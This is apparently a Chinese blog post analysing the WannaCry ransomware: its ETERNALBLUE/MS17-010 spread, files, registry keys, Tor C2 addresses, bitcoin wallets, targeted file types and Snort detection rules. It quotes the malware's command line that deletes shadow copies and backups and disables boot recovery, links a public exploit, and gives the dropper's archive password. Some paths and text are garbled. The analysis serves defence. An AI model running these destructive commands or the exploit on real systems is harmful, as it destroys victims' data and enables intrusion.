關於「全球遭受網路勒索攻擊」WannaCry2.0病毒軟體分析

參考來源:數據包和檢查非常類似於通過反向寫入的DOUBLEPULSAR檢測工具

gist.github.com/msuiche

關於WannaCry

利用MS17-010:

惡意軟體正在使用MS17-010漏洞進行分發。這是一個具有遠程代碼執行選項的SMB漏洞 - 詳細信息:Microsoft Security Bulletin MS17-010 - Critical。漏洞代碼在多個站點上可用,包括:https : //github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb

這個漏洞也被稱為方程組的ETERNALBLUE漏洞利用,幾周前由Shadow Brokers發布的FuzzBunch工具包的一部分。

使用MS17-010,攻擊者只能使用一個漏洞利用系統許可權進行遠程訪問,這意味著兩個步驟(遠程執行代碼+本地特權升級組合)僅使用SMB協議中的一個錯誤。分析Metasploit中的漏洞代碼,這是一種用於黑客攻擊的著名工具,漏洞利用KI_USER_SHARED_DATA,它具有固定的內存地址(32位Windows上為0xffdff000),以便稍後複製有效負載並將控制權轉移給它。

通過遠程獲取對具有系統特權的受害者PC的控制權,無需任何用戶操作,攻擊者可以通過控制該網路內的一個系統來控制本地網路中的惡意軟體(控制所有不受此漏洞影響的系統),以及在這種情況下,一個系統將在這種情況下傳播ransomware,所有這些Windows系統都將易受攻擊,而不是修補MS17-010。

運行過程

通過使用命令行命令,卷影副本和備份將被刪除:

Cmd / c vssadmin delete shadows / all / quiet&wmic shadowcopy delete&bcdedit / set {default} bootstatuspolicy ignoreallfailures&bcdedit / set {default} recoveryenabled no&wbadmin delete catalog -quiet

Ransomware將自己寫入文件名為「tasksche.exe」的「ProgramData」文件夾中的隨機字元文件夾中,或者在文件名為「mssecsvc.exe」和「tasksche.exe」的C: Windows文件夾中。

簡單栗子:

C: ProgramData abc tasksche.exe

C: ProgramData 360 tasksche.exe

C:/ProgramData/wps/tasksche.exe

。。。。

使用批處理腳本進行操作:

批量執行.bat

Content of Batch-file (fefe6b30d0819f1a1775e14730a10e0e)

echo off

echo SET ow = WScript.CreateObject(「WScript.Shell」)> m.vbs

echo SET om = ow.CreateShortcut(「C:

WanaDecryptor

.exe.lnk」)>> m.vbs

echo om.TargetPath = 「C:

WanaDecryptor

.exe」>> m.vbs

echo om.Save>> m.vbs

cscript.exe //nologo m.vbs

del m.vbs

del /a %0

Content of 『M.vbs』

SET ow = WScript.CreateObject(「WScript.Shell」)

SET om = ow.CreateShortcut(「C:

WanaDecryptor

.exe.lnk」)

om.TargetPath = 「C:

WanaDecryptor

om.Save

SNORT規則:

alert smb any any -> $HOME_NET any (msg:」ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)」; flow:to_server,established; content:」|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|」; depth:16; fast_pattern; content:」|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|」; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)

alert smb $HOME_NET any -> any any (msg:」ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response」; flow:from_server,established; content:」|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|」; depth:16; fast_pattern; content:」|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|」; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

Sans的snort規則:

alert tcp $HOME_NET 445 -> any any (msg:」ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response」; flow:from_server,established; content:」|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|」; depth:16; fast_pattern; content:」|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|」; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:2;)

與Wana Decrypt0r / WanaCrypt0r相關聯的文件:

[Installed_Folder]0000000.eky[Installed_Folder]0000000.pky[Installed_Folder]0000000.res[Installed_Folder]@WanaDecryptor@.exe[Installed_Folder]@WanaDecryptor@.exe.lnk[Installed_Folder].wnry[Installed_Folder]c.wnry[Installed_Folder]f.wnry[Installed_Folder]msg[Installed_Folder]msgm_bulgarian.wnry[Installed_Folder]msgm_chinese (simplified).wnry[Installed_Folder]msgm_chinese (traditional).wnry[Installed_Folder]msgm_croatian.wnry[Installed_Folder]msgm_czech.wnry[Installed_Folder]msgm_danish.wnry[Installed_Folder]msgm_dutch.wnry[Installed_Folder]msgm_english.wnry[Installed_Folder]msgm_filipino.wnry[Installed_Folder]msgm_finnish.wnry[Installed_Folder]msgm_french.wnry[Installed_Folder]msgm_german.wnry[Installed_Folder]msgm_greek.wnry[Installed_Folder]msgm_indonesian.wnry[Installed_Folder]msgm_italian.wnry[Installed_Folder]msgm_japanese.wnry[Installed_Folder]msgm_korean.wnry[Installed_Folder]msgm_latvian.wnry[Installed_Folder]msgm_norwegian.wnry[Installed_Folder]msgm_polish.wnry[Installed_Folder]msgm_portuguese.wnry[Installed_Folder]msgm_romanian.wnry[Installed_Folder]msgm_russian.wnry[Installed_Folder]msgm_slovak.wnry[Installed_Folder]msgm_spanish.wnry[Installed_Folder]msgm_swedish.wnry[Installed_Folder]msgm_turkish.wnry[Installed_Folder]msgm_vietnamese.wnry[Installed_Folder]
.wnry[Installed_Folder]s.wnry[Installed_Folder] .wnry[Installed_Folder]TaskData[Installed_Folder]TaskDataData[Installed_Folder]TaskDataDataTor[Installed_Folder]TaskDataTor[Installed_Folder]TaskDataTorlibeay32.dll[Installed_Folder]TaskDataTorlibevent-2-0-5.dll[Installed_Folder]TaskDataTorlibevent_core-2-0-5.dll[Installed_Folder]TaskDataTorlibevent_extra-2-0-5.dll[Installed_Folder]TaskDataTorlibgcc_s_sjlj-1.dll[Installed_Folder]TaskDataTorlibssp-0.dll[Installed_Folder]TaskDataTorssleay32.dll[Installed_Folder]TaskDataTor askhsvc.exe[Installed_Folder]TaskDataTor or.exe[Installed_Folder]TaskDataTorzlib1.dll[Installed_Folder] askdl.exe[Installed_Folder] askse.exe[Installed_Folder]u.wnry[Installed_Folder]wcry.exe

與Wana Decrypt0r / WanaCrypt0r相關聯的註冊表項:

HKCUSoftwareMicrosoftWindowsCurrentVersionRun[random] "[Installed_Folder] asksche.exe"HKCUSoftwareWanaCrypt0rHKCUSoftwareWanaCrypt0rwd [Installed_Folder]HKCUControl PanelDesktopWallpaper "[Installed_Folder]Desktop@WanaDecryptor@.bmp"

Wana的網路通訊Decrypt0r / WanaCrypt0r:

gx7ekbenv2riucmf.onion57g7spgrzlojinas.onionxxlvbrloxvriy2c5.onion76jdd2ir2embyv47.onioncwwnhwhlz52maqm7.onionhttps://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

Ransomware通過使用以下命令授予對所有文件的完全訪問許可權:

ransomware的文件大小為3.4 MB(3514368 bytes)

dropper 從其資源(XIA / 2058)中提取包含贖金的密碼(「WNcry @ 2ol7」)存檔。

付款

贖金會使用3個不同的地址接收付款:

  • 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  • 若果有興趣查看多少付款 鏈接:
  • Bitcoin Address 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

    Bitcoin Address 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

    Bitcoin Address 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

  • 分析圖
  • g ?- 此文件夾包含描述贖金器不同說明的RTF。共計28種語言。
  • b.wnry ?- BMP圖像用作惡意軟體替代的背景圖像。
  • c.wnry? - 包含目標地址的配置文件,還包括tor通信端點信息。
  • s.wnry ?- Tor客戶端與上述端點進行通信。
  • u.wnry ?- ransom-ware的UI界面,包含通信常式和密碼驗證(目前正在分析)
  • t.wnry? - 「WANACRY!」文件 - 包含默認鍵
    • r.wnry? - 包含付款指示的應用程序使用的問答文件
    • taskdl.exe / taskse.exe -

控制節點

Tor端點從配置文件恢復的地址:

  • gx7ekbenv2riucmf.onion
  • 57g7spgrzlojinas.onion
  • xxlvbrloxvriy2c5.onion
  • 76jdd2ir2embyv47.onion
  • cwwnhwhlz52maqm7.onion

惡意軟體還會下載tor瀏覽器的0.2.9.10版本:https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

加密過程

以下是由贖金加密的179種不同類型的文件的列表。

- 「.doc」 - 「.docx」 - 「.docb」 - 「.docm」 - 「.dot」 - 「.dotm」 - 「.dotx」 - 「.xls」 - 「.xlsx」 - 「.xlsm」 - 「.xlsb」 - 「.xlw」 - 「.xlt」 - 「.xlm」 - 「.xlc」 - 「.xltx」 - 「.xltm」 - 「.ppt」 - 「.pptx」 - 「.pptm」 - 「.pot」 - 「.pps」 - 「.ppsm」 - 「.ppsx」 - 「.ppam」 - 「.potx」 - 「.potm」 - 「.pst」- 「.ost」 - 「.msg」 - 「.eml」 - 「.edb」 - 「.vsd」 - 「.vsdx」 - 「.txt」 - 「.csv」 - 「.rtf」 - 「.123」 - 「.wks」 - 「.wk1」 - 「.pdf」 - 「.dwg」 - 「.onetoc2」 - 「.snt」 - 「.hwp」 - 「.602」 - 「.sxi」 - 「.sti」 - 「.sldx」 - 「.sldm」 - 「.sldm」 - 「.vdi」 - 「.vmdk」 - 「.vmx」 - 「.gpg」 - 「.aes」- 「.ARC」 - 「.PAQ」 - 「.bz2」 - 「.tbk」 - 「.bak」 - 「.tar」 - 「.tgz」 - 「.gz」 - 「.7z」 - 「.rar」 - 「.zip」 - 「.backup」 - 「.iso」 - 「.vcd」 - 「.jpeg」 - 「.jpg」 - 「.bmp」 - 「.png」 - 「.gif」 - 「.raw」 - 「.cgm」 - 「.tif」 - 「.tiff」 - 「.nef」 - 「.psd」 - 「.ai」 - 「.svg」 - 「.djvu」- 「.m4u」 - 「.m3u」 - 「.mid」 - 「.wma」 - 「.flv」 - 「.3g2」 - 「.mkv」 - 「.3gp」 - 「.mp4」 - 「.mov」 - 「.avi」 - 「.asf」 - 「.mpeg」 - 「.vob」 - 「.mpg」 - 「.wmv」 - 「.fla」 - 「.swf」 - 「.wav」 - 「.mp3」 - 「.sh」 - 「.class」 - 「.jar」 - 「.java」 - 「.rb」 - 「.asp」 - 「.php」 - 「.jsp」- 「.brd」 - 「.sch」 - 「.dch」 - 「.dip」 - 「.pl」 - 「.vb」 - 「.vbs」 - 「.ps1」 - 「.bat」 - 「.cmd」 - 「.js」 - 「.asm」 - 「.h」 - 「.pas」 - 「.cpp」 - 「.c」 - 「.cs」 - 「.suo」 - 「.sln」 - 「.ldf」 - 「.mdf」 - 「.ibd」 - 「.myi」 - 「.myd」 - 「.frm」 - 「.odb」 - 「.dbf」 - 「.db」- 「.mdb」 - 「.accdb」 - 「.sql」 - 「.sqlitedb」 - 「.sqlite3」 - 「.asc」 - 「.lay6」 - 「.lay」 - 「.mml」 - 「.sxm」 - 「.otg」 - 「.odg」 - 「.uop」 - 「.std」 - 「.sxd」 - 「.otp」 - 「.odp」 - 「.wb2」 - 「.slk」 - 「.dif」 - 「.stc」 - 「.sxc」 - 「.ots」 - 「.ods」 - 「.3dm」 - 「.max」 - 「.3ds」- 「.uot」 - 「.stw」 - 「.sxw」 - 「.ott」 - 「.odt」 - 「.pem」 - 「.p12」 - 「.csr」 - 「.crt」 - 「.key」 - 「.pfx」 - 「.der」

技術一般般 若分析的不到位 錯誤 請各位大神指出 分析此軟體只是出去安全形度研究;請勿非法使用,工具就不公開,大家有興趣逛逛我博客哈 liberxue博客:Home 本文為技術文檔請勿轉載by liberxue

推薦閱讀:

幾維安全分享2017上半年:2227起安全事件泄露60億條數據
農民鬥地主——Binder fuzz安全研究
幾維安全提醒勒索病毒又來襲 網路安全行業或迎機遇
CVE-2018-4901 Adobe Acrobat Reader遠程代碼執行漏洞預警
史上規模最大的DDoS攻擊來襲,「碼農天堂」GitHub如何抵抗攻擊?

TAG:WanaDecrypt0r20計算機病毒 | 網路安全 | 反編譯 |